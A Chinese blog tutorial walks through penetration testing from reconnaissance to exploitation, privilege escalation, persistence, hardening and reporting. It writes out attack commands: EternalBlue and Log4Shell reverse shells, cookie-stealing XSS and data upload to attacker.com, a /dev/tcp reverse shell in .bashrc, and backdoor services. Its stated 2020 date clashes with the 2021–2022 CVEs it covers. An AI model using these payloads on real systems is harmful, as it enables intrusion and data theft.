mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
1896 字
5 分钟
系统安全与渗透测试实战
2020-10-23

安全团队在例行渗透测试中发现,一个不起眼的测试环境 API 端点竟然暴露了生产数据库的连接凭据——攻击者只需要一个 HTTP 请求就能完成从测试环境到生产数据库的完整入侵链路。

渗透测试(Penetration Testing)是经授权的安全评估方法,通过模拟攻击者的视角发现系统中的安全漏洞。渗透测试的核心方法论遵循 PTES(Penetration Testing Execution Standard)标准,包含七个阶段:前期交互、信息收集、威胁建模、漏洞分析、渗透攻击、后渗透攻击和报告编写。

本文从实战角度出发,覆盖渗透测试全流程中的关键技术与工具使用,并结合 OWASP Top 10(2021)对常见漏洞进行分类讲解。

flowchart LR A[前期交互] --> B[信息收集] B --> C[威胁建模] C --> D[漏洞分析] D --> E[渗透攻击] E --> F[后渗透] F --> G[报告编写]

一、信息收集#

信息收集是渗透测试的基础阶段,直接影响后续攻击路径的质量。信息收集分为被动收集(不与目标直接交互)和主动收集(直接探测目标)两种方式。

1.1 被动信息收集#

被动信息收集通过公开渠道获取目标信息,不会触发目标的安全告警。

WHOIS 与域名信息#

# WHOIS 查询 — 获取域名注册人、注册商、DNS 服务器等信息
whois example.com
# 查询特定 WHOIS 服务器
whois -h whois.verisign-grs.com example.com
# DNS 记录收集
dig example.com ANY # 查询所有记录类型
dig example.com MX +short # 邮件服务器
dig example.com TXT +short # TXT 记录(SPF、DKIM 等)
nslookup -type=any example.com
# DNS 区域传送尝试(配置不当的 DNS 服务器可能泄露全部记录)
dig axfr example.com @ns1.example.com

子域名枚举#

子域名枚举可以发现目标的隐藏服务和内部系统入口:

# amass — 被动+主动子域名枚举(OSINT 集成)
amass enum -passive -d example.com # 纯被动模式
amass enum -brute -d example.com # 暴力破解模式
amass enum -active -d example.com -o results.txt
# subfinder — 快速被动子域名发现
subfinder -d example.com -all -o subdomains.txt
# 利用证书透明度日志(Certificate Transparency)
# 通过 crt.sh 查询 SSL 证书中暴露的子域名
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

搜索引擎利用(Google Dorking)#

通过搜索引擎的高级语法发现敏感信息:

# 常用 Google Dork 语法
site:example.com intitle:"admin" # 查找后台页面
site:example.com filetype:pdf # 查找 PDF 文件
site:example.com inurl:login # 查找登录页面
site:example.com intext:"password" # 页面中包含 password 关键词
site:github.com "example.com" password # GitHub 泄露的密码
inurl:/wp-admin/ site:example.com # WordPress 后台

网络空间搜索引擎#

# Shodan — 搜索联网设备
# 搜索特定端口和服务
shodan search "hostname:example.com"
shodan host 1.2.3.4
# Fofa — 国产网络空间搜索引擎
# 搜索语法: title="后台管理" && domain="example.com"

1.2 主动信息收集#

主动信息收集会直接与目标系统交互,可能触发安全告警系统。

端口扫描(Nmap)#

Nmap 是最强大的网络扫描工具,支持多种扫描技术:

# 基础扫描
nmap -sV -sC -p- example.com # 全端口扫描 + 服务版本检测 + 默认脚本
nmap -A -T4 example.com # 综合扫描(OS 检测、版本、脚本、traceroute)
# SYN 半开扫描(隐蔽扫描,需要 root 权限)
sudo nmap -sS -p 22,80,443,3306,8080 example.com
# UDP 扫描(较慢,但可以发现 DNS、SNMP 等服务)
sudo nmap -sU --top-ports 100 example.com
# 绕过防火墙的扫描技巧
nmap -f example.com # 分片扫描
nmap --data-length 32 example.com # 添加随机数据
nmap -D RND:10 example.com # 伪造源地址(decoy scanning)
# 输出结果
nmap -sV -oX scan_results.xml example.com # XML 格式输出
nmap -sV -oA scan_results example.com # 所有格式输出

Nmap 脚本引擎(NSE)提供丰富的漏洞检测脚本:

# 漏洞扫描脚本
nmap --script vuln example.com
# 特定漏洞检测
nmap --script http-sql-injection example.com # SQL 注入检测
nmap --script ssl-heartbleed example.com # Heartbleed 漏洞
nmap --script http-brute example.com # HTTP 暴力破解

Web 目录扫描#

# gobuster — 快速目录/文件爆破
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak
# ffuf — 灵活的模糊测试工具
ffuf -w wordlist.txt -u http://example.com/FUZZ
ffuf -w users.txt:USER -w pass.txt:PASS -u http://example.com/login -d "user=USER&pass=PASS" -fc 401
# dirsearch — Python 编写的目录扫描工具
dirsearch -u http://example.com -e php,html,js -t 50

二、漏洞扫描#

2.1 OWASP Top 10 与漏洞分类#

OWASP Top 10(2021 版)定义了 Web 应用最常见的安全风险:

排名漏洞类型说明检测工具
A01权限控制失效越权访问、IDORBurp Suite、ZAP
A02加密机制失效弱加密、传输明文testssl.sh、SSLyze
A03注入攻击SQL/NoSQL/命令注入sqlmap、Burp Suite
A04不安全设计业务逻辑漏洞人工审计
A05安全配置错误默认配置、敏感信息泄露nikto、nuclei
A06过时组件使用有漏洞的依赖OWASP Dependency-Check
A07身份认证失败弱密码、会话管理不当Hydra、Burp Suite
A08数据完整性失败不安全的反序列化Burp Suite
A09日志与监控不足攻击无法被追溯人工评估
A10SSRF服务端请求伪造Burp Suite、ffuf

2.2 Web 漏洞扫描工具#

工具用途特点
niktoWeb 服务器扫描全面 CVE 检查、配置审计
sqlmapSQL 注入检测自动检测和利用、支持多种数据库
nuclei漏洞模板扫描快速 POC 验证、社区模板丰富
Burp Suite综合渗透平台代理拦截、扫描、重放、Intruder
OWASP ZAP综合渗透平台开源免费、自动化扫描

2.3 漏扫实战命令#

# nikto — Web 服务器全面扫描
nikto -h http://example.com -o nikto_report.html
nikto -h https://example.com -ssl -Tuning 1234567890 # 启用所有测试类型
nikto -h http://example.com -C all # 启用所有 CGI 检测
# sqlmap — SQL 注入自动化检测
# GET 参数注入
sqlmap -u "http://example.com/product?id=1" --batch --dbs
# POST 参数注入
sqlmap -u "http://example.com/login" --data="username=admin&password=test" --batch
# 从 Burp Suite 请求文件导入
sqlmap -r request.txt --batch --dbs
# 获取数据库表和数据
sqlmap -u "http://example.com/product?id=1" -D dbname --tables
sqlmap -u "http://example.com/product?id=1" -D dbname -T users --dump
# nuclei — 基于模板的漏洞扫描
nuclei -u http://example.com -t vulnerabilities -o nuclei_report.json
nuclei -u http://example.com -t cves/2023/ -severity critical,high
# 更新模板库
nuclei -update-templates

2.4 Burp Suite 使用#

Burp Suite 是 Web 渗透测试的核心工具,主要功能包括:

代理拦截(Proxy):拦截浏览器和服务器之间的 HTTP/HTTPS 请求,可以修改请求和响应内容。

# 配置步骤:
1. 设置浏览器代理指向 127.0.0.1:8080
2. 安装 Burp CA 证书(访问 http://burp/cert 下载)
3. 在 Proxy -> Intercept 中启用拦截
4. 在 HTTP history 中查看所有请求

重放器(Repeater):手动修改和重发请求,用于逐个测试参数的漏洞:

# SQL 注入测试示例:
原始请求: id=1
测试 1: id=1' # 单引号测试
测试 2: id=1 AND 1=1 # 布尔注入
测试 3: id=1 UNION SELECT NULL,NULL-- # 联合查询注入

Intruder(入侵者):自动化攻击模块,支持暴力破解和模糊测试:

# 暴力破解登录:
1. 捕获登录请求
2. 标记用户名和密码参数
3. 加载字典文件
4. 设置匹配规则(如 "Login failed" 为失败标志)
5. 开始攻击

三、漏洞利用#

3.1 Metasploit 框架#

Metasploit 是最流行的渗透测试框架,提供数千个漏洞利用模块和辅助功能。

# 启动 Metasploit 控制台
msfconsole
# 数据库初始化(首次使用)
db_init
# 搜索模块
search type:exploit name:smb # 搜索 SMB 相关 exploit
search cve:2017-0144 # 按 CVE 编号搜索
search platform:windows type:exploit # Windows 平台 exploit
# 使用 EternalBlue(MS17-010)漏洞利用示例
use exploit/windows/smb/ms17_010_eternalblue
show options # 查看所需参数
set RHOSTS target_ip # 目标 IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip # 攻击者 IP
exploit # 执行攻击
# Meterpreter 后渗透命令
sysinfo # 系统信息
getuid # 当前用户
getsystem # 尝试提权到 SYSTEM
hashdump # 导出密码哈希
screenshot # 截屏
webcam_snap # 拍照(如有摄像头)
upload /local/file C:\\target\\path # 上传文件
download C:\\target\\file /local/path # 下载文件

3.2 常见高危漏洞利用#

漏洞CVE影响范围利用工具攻击类型
EternalBlueCVE-2017-0144Windows SMBv1MetasploitRCE
Log4ShellCVE-2021-44228Apache Log4j 2.xJNDIExploitRCE
Spring4ShellCVE-2022-22965Spring FrameworkPoC 脚本RCE
ProxyLogonCVE-2021-26855Microsoft ExchangeProxyLogon 脚本RCE
PrintNightmareCVE-2021-34527Windows Print SpoolerMetasploit提权+RCE

Log4Shell(CVE-2021-44228)实战示例#

Log4Shell 是 2021 年最严重的漏洞之一,影响所有使用 Apache Log4j 2.x 的 Java 应用:

# 1. 启动 JNDI 注入服务器(攻击者机器)
java -jar JNDIExploit.jar -i attacker_ip -l 1389
# 2. 构造恶意 payload(发送到目标应用)
# 在 HTTP 请求头中注入:
User-Agent: ${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}
# 3. 监听反弹 shell
nc -lvnp 4444
# 4. 目标服务器解析日志时触发 JNDI 查询,连接攻击者的 LDAP 服务器
# 5. LDAP 返回恶意 Java 类,在目标服务器执行反弹 shell

弱口令爆破#

# Hydra — 在线密码爆破工具
# SSH 爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip -t 4
# HTTP POST 表单爆破
hydra -l admin -P pass.txt target_ip http-post-form "/login:user=^USER^&pass=^PASS^:Login failed"
# FTP 爆破
hydra -l admin -P pass.txt ftp://target_ip
# Medusa — 并行登录爆破
medusa -h target_ip -u admin -P pass.txt -M ssh -t 4

3.3 Web 应用漏洞利用#

SQL 注入(A03: Injection)#

# 手动检测 SQL 注入
# 1. 单引号测试
http://example.com/product?id=1' # 如果返回 SQL 错误,存在注入点
# 2. 布尔盲注
http://example.com/product?id=1 AND 1=1 # 正常返回
http://example.com/product?id=1 AND 1=2 # 异常返回
# 3. 时间盲注
http://example.com/product?id=1 AND SLEEP(5)-- # MySQL
http://example.com/product?id=1; WAITFOR DELAY '0:0:5'-- # MSSQL
# 4. UNION 注入 — 获取数据库信息
http://example.com/product?id=1 UNION SELECT 1,2,3--
http://example.com/product?id=1 UNION SELECT version(),database(),user()--
# 5. sqlmap 自动化利用
sqlmap -u "http://example.com/product?id=1" --batch --dbs --technique=BEUST

XSS(跨站脚本攻击)#

# 反射型 XSS 测试 payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
# 存储型 XSS — 在输入框中注入(如评论、用户名)
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
# DOM 型 XSS — 利用 JavaScript DOM 操作
http://example.com/page#<img src=x onerror=alert('XSS')>

SSRF(服务端请求伪造)#

# 探测内网服务
http://example.com/fetch?url=http://127.0.0.1:8080
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ # AWS 元数据
# 利用 file 协议读取本地文件
http://example.com/fetch?url=file:///etc/passwd

四、权限提升#

4.1 Linux 提权#

获取初始 shell 后,提权是后渗透阶段的核心任务。

信息收集#

# 系统基本信息
uname -a # 内核版本
cat /etc/*-release # 发行版信息
arch # 系统架构
# 用户和权限信息
whoami # 当前用户
id # 用户 ID 和组
sudo -l # sudo 权限配置
cat /etc/passwd # 用户列表
cat /etc/shadow # 密码哈希(需要 root)
# 查找 SUID 文件(以 root 权限执行的程序)
find / -perm -4000 -type f 2>/dev/null
# 常见可利用的 SUID 程序: nmap, vim, find, bash, python, less, more
# 查找可写文件和目录
find / -writable -type d 2>/dev/null
find / -name "*.sh" -writable 2>/dev/null
# 查看计划任务
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

自动化提权扫描#

# linPEAS — 最全面的 Linux 提权检查脚本
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# linux-exploit-suggester — 基于内核版本推荐提权漏洞
perl linux-exploit-suggester.pl
# pspy — 无需 root 权限监控进程(可以发现定时任务执行的其他进程)
./pspy64

常见提权方法#

# 1. SUID 提权 — 利用 find 命令
find / -name "target" -exec /bin/sh \;
# 2. sudo 配置不当提权
# 如果 sudo -l 显示可以无密码执行某些命令
sudo vim -c '!sh' # Vim 逃逸
sudo find / -exec /bin/sh \; # Find 逃逸
sudo python3 -c 'import os; os.system("/bin/sh")'
# 3. 内核漏洞提权(Dirty COW — CVE-2016-5195 为例)
# 适用于 Linux 内核 < 4.8.3
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
# 4. Capabilities 提权
getcap -r / 2>/dev/null
# 如果发现 /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

4.2 Windows 提权#

Terminal window
# 系统信息收集
systeminfo # 系统版本和补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn # 已安装补丁列表
# 用户信息
whoami /all # 当前用户详细信息
net user # 用户列表
net localgroup administrators # 管理员组成员
# 自动化提权工具
# winPEAS — Windows 提权检查脚本
winPEASx64.exe quiet cmd fast
# Watson — 基于补丁信息推荐提权漏洞
Watson.exe
# PowerUp — PowerShell 提权脚本
Import-Module PowerUp.ps1
Invoke-AllChecks

常见 Windows 提权路径#

Terminal window
# 1. 服务配置不当
# 查找可写服务路径
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
# 2. AlwaysInstallElevated — MSI 文件以 SYSTEM 运行
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 3. 存储的凭据
cmdkey /list # 查看存储的凭据
runas /savecred /user:admin cmd.exe # 使用存储凭据
# 4. Token Impersonation(令牌模拟)
# 使用 Incognito 模块
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

五、后渗透与持久化#

5.1 持久化技术#

持久化确保攻击者在系统重启后仍能维持访问权限。

Linux 持久化#

# 1. SSH 公钥注入
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# 2. Crontab 定时任务
(crontab -l; echo "*/5 * * * * /tmp/backdoor") | crontab -
# 3. 系统服务后门
# 创建 systemd 服务
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Service
[Service]
ExecStart=/tmp/backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor
# 4. Bash Profile 后门
echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &' >> ~/.bashrc

Windows 持久化#

Terminal window
# 1. 注册表启动项
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\backdoor.exe"
# 2. 计划任务
schtasks /create /tn "SystemUpdate" /tr "C:\temp\backdoor.exe" /sc onstart /ru SYSTEM
# 3. 服务创建
sc create backdoor binPath= "C:\temp\backdoor.exe" start= auto

5.2 横向移动#

# 1. SSH 隧道 — 端口转发
# 本地端口转发(访问内网服务)
ssh -L 8080:internal_host:80 user@jump_host
# 动态端口转发(SOCKS 代理)
ssh -D 1080 user@jump_host
# 配合 proxychains 使用
proxychains nmap -sT -Pn internal_network/24
# 2. Pass-the-Hash(哈希传递攻击)
# 使用 impacket 工具包
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 admin@target_ip
# 3. Meterpreter 路由
# 在 Metasploit 中添加路由
route add 192.168.1.0 255.255.255.0 session_id
# 然后可以扫描和攻击内网

5.3 数据外泄防护#

渗透测试中需要证明可以获取敏感数据,但实际外泄需要注意合规性:

# 1. 数据打包(Linux)
tar czf /tmp/data.tar.gz /path/to/sensitive/data/
# 2. 通过 HTTP/HTTPS 传输
curl -X POST -F "file=@/tmp/data.tar.gz" https://attacker.com/upload
# 3. 通过 DNS 隧道(防火墙严格时)
# 使用 dnscat2 或 iodine

六、防御加固#

6.1 Linux 系统加固#

配置项加固建议具体操作
SSH禁用密码登录、使用密钥PasswordAuthentication no
防火墙最小端口开放ufw default deny && ufw allow 22/tcp
权限最小权限原则定期审计 sudo 配置
更新及时安全补丁apt update && apt upgrade
审计启用日志审计安装 auditd、配置 syslog
内核启用安全模块启用 SELinux/AppArmor

SSH 加固配置#

# /etc/ssh/sshd_config 安全配置
Port 2222 # 修改默认端口
PermitRootLogin no # 禁止 root 远程登录
PasswordAuthentication no # 禁用密码认证
PubkeyAuthentication yes # 启用密钥认证
MaxAuthTries 3 # 最大认证尝试次数
AllowUsers deploy admin@192.168.1.0/24 # 限制用户和来源 IP
# 安装 fail2ban 防止暴力破解
apt install fail2ban
systemctl enable fail2ban
# /etc/fail2ban/jail.local
# [sshd]
# enabled = true
# maxretry = 3
# bantime = 3600

文件系统安全#

# 查找并修复危险权限
find / -perm -777 -type f 2>/dev/null # 全局可写文件
find / -perm -4000 -type f 2>/dev/null # SUID 文件
find / -perm -2000 -type f 2>/dev/null # SGID 文件
# 关键文件不可变
chattr +i /etc/passwd /etc/shadow
# 安全挂载选项
# /etc/fstab — 为 /tmp 添加 noexec, nosuid
/dev/sda2 /tmp ext4 defaults,noexec,nosuid,nodev 0 0

6.2 Web 应用加固#

Nginx 安全配置#

# 安全响应头
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# 隐藏版本信息
server_tokens off;
# 禁止访问敏感文件
location ~* /\.(git|svn|env|htaccess) {
deny all;
return 404;
}
# 限制上传目录执行权限
location /uploads/ {
location ~* \.php$ {
deny all;
}
}
# 速率限制防止暴力破解
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
location /login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://backend;
}

输入验证与参数化查询#

# Python — 使用参数化查询防止 SQL 注入
import sqlite3
# 错误方式(存在 SQL 注入)
cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")
# 正确方式(参数化查询)
cursor.execute("SELECT * FROM users WHERE id = ?", (user_input,))
# 输出编码防止 XSS
from markupsafe import escape
safe_output = escape(user_input)

6.3 容器安全#

# Docker 安全最佳实践
# 1. 使用非 root 用户
docker run -u 1000:1000 image_name
# 2. 只读文件系统
docker run --read-only image_name
# 3. 限制资源
docker run --memory="512m" --cpus="1.0" image_name
# 4. 禁止特权模式
# 避免 --privileged 标志
# 使用 --cap-drop ALL --cap-add NET_BIND_SERVICE 代替
# 5. 镜像安全扫描
docker scout cves image_name
trivy image image_name

6.4 入侵检测与日志监控#

# 安装和配置 OSSEC/Wazuh(主机入侵检测)
# 实时文件完整性监控
# Rootkit 检测
# 活动响应(自动封禁恶意 IP)
# 关键日志文件
/var/log/auth.log # SSH 和认证日志
/var/log/syslog # 系统日志
/var/log/apache2/ # Web 服务器日志
/var/log/nginx/ # Nginx 日志
# 实时监控日志中的异常
tail -f /var/log/auth.log | grep -i "failed password"
journalctl -f -u sshd | grep -i "invalid"

七、渗透测试报告#

渗透测试报告是交付物中最重要的一环,一份专业报告应包含以下内容:

7.1 报告结构#

1. 执行摘要(管理层阅读)
- 测试范围和时间
- 关键发现概述
- 风险等级统计
2. 技术详情(技术团队阅读)
- 测试方法论
- 详细漏洞列表
- 复现步骤(截图 + 命令)
- 影响分析
3. 修复建议
- 按优先级排序
- 具体修复方案
- 参考链接
4. 附录
- 测试工具版本
- 完整漏洞列表

7.2 风险等级定义#

等级CVSS 评分说明示例
严重9.0-10.0可被远程利用,导致系统完全控制RCE、SQL 注入获取管理员
高危7.0-8.9可导致敏感数据泄露或权限提升权限提升漏洞、SSRF
中危4.0-6.9有限影响,需要特定条件反射型 XSS、信息泄露
低危0.1-3.9影响极小内部 IP 泄露、版本信息暴露
信息0.0无安全影响,但建议改进缺少安全头、TLS 配置

八、法律与合规#

渗透测试必须在明确授权的范围内进行,未经授权的渗透测试行为属于违法行为。

# 渗透测试授权要素:
1. 书面授权文件(渗透测试授权书)
2. 测试范围明确(IP 段、域名、应用)
3. 时间窗口约定
4. 紧急联系人
5. 测试限制(不可破坏数据、不可影响业务连续性)

相关法律法规

  • 《中华人民共和国网络安全法》
  • 《中华人民共和国数据安全法》
  • 《中华人民共和国个人信息保护法》
  • 《信息安全技术 网络安全等级保护基本要求》(等保 2.0)

九、参考资料#


参考#

支持与分享

如果这篇文章对你有帮助,欢迎支持作者或分享给更多人

系统安全与渗透测试实战
https://blog.souloss.com/posts/tools/penetration-testing-practice/
作者
Souloss
发布于
2020-10-23
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时